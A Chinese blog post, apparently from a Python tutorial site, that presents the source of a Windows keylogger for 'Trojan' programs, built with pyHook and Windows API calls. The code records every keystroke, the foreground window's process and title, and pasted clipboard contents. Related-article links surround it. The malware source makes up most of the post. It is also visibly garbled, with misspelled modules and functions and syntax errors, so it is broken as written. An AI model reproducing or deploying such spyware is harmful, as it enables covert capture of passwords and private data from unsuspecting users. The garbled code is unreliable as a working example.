Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python中查找excel某一列的重复数据 剔除之后打印
Feb 10 Python
python正则表达式re模块详细介绍
May 29 Python
利用 Monkey 命令操作屏幕快速滑动
Dec 07 Python
Python实现获取汉字偏旁部首的方法示例【测试可用】
Dec 18 Python
Python实现查找数组中任意第k大的数字算法示例
Jan 23 Python
基于python框架Scrapy爬取自己的博客内容过程详解
Aug 05 Python
Python缓存技术实现过程详解
Sep 25 Python
python 使用递归实现打印一个数字的每一位示例
Feb 27 Python
Selenium向iframe富文本框输入内容过程图解
Apr 10 Python
Python 创建TCP服务器的方法
Jul 28 Python
Python数据库封装实现代码示例解析
Sep 05 Python
Python多线程 Queue 模块常见用法
Jul 04 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
天使彦史上最神还原,性别曝光的那一刻,百万网友恋爱了
2020/03/02 国漫
BBS(php &amp; mysql)完整版(七)
2006/10/09 PHP
PHP chmod 函数与批量修改文件目录权限
2010/05/10 PHP
php设计模式 Chain Of Responsibility (职责链模式)
2011/06/26 PHP
php仿QQ验证码的实例分析
2013/07/01 PHP
php微信公众号开发之关键词回复
2018/10/20 PHP
用htc组件制作windows选项卡
2007/01/13 Javascript
PPK 谈 JavaScript 的 this 关键字 [翻译]
2009/09/29 Javascript
使用jquery插件实现图片延迟加载技术详细说明
2011/03/12 Javascript
javascript打印输出json实例
2013/11/11 Javascript
Jquery获得控件值的三种方法总结
2014/02/13 Javascript
Linux下为Node.js程序配置MySQL或Oracle数据库的方法
2016/03/19 Javascript
BootStrap 下拉菜单点击之后不会出现下拉菜单(下拉菜单不弹出)的解决方案
2016/12/14 Javascript
15个非常实用的JavaScript代码片段
2016/12/18 Javascript
vue中keep-alive内置组件缓存的实例代码
2020/04/16 Javascript
原生JS实现九宫格抽奖
2020/09/13 Javascript
[02:36]DOTA2混沌骑士 英雄基础教程
2013/11/26 DOTA
[57:16]2014 DOTA2华西杯精英邀请赛 5 25 LGD VS VG第二场
2014/05/26 DOTA
[11:33]DAC2018 4.5SOLO赛决赛 MidOne vs Paparazi第二场
2018/04/06 DOTA
python3使用urllib示例取googletranslate(谷歌翻译)
2014/01/23 Python
Python中元组,列表,字典的区别
2017/05/21 Python
基于python select.select模块通信的实例讲解
2017/09/21 Python
《Python学习手册》学习总结
2018/01/17 Python
Ubuntu下升级 python3.7.1流程备忘(推荐)
2018/12/10 Python
Python pip替换为阿里源的方法步骤
2019/07/02 Python
Pytorch保存模型用于测试和用于继续训练的区别详解
2020/01/10 Python
使用 django orm 写 exists 条件过滤实例
2020/05/20 Python
公认8个效率最高的爬虫框架
2020/07/28 Python
Python代码注释规范代码实例解析
2020/08/14 Python
【HTML5】Canvas绘制简单图片教程
2016/05/13 HTML / CSS
香港草莓网:Strawberrynet香港
2019/05/10 全球购物
接受捐赠答谢词
2014/01/27 职场文书
四年大学生活的自我评价范文
2014/02/07 职场文书
义诊活动总结
2015/02/04 职场文书
数学教师个人工作总结
2015/02/06 职场文书
win10+RTX3050ti+TensorFlow+cudn+cudnn配置深度学习环境的方法
2022/06/25 Servers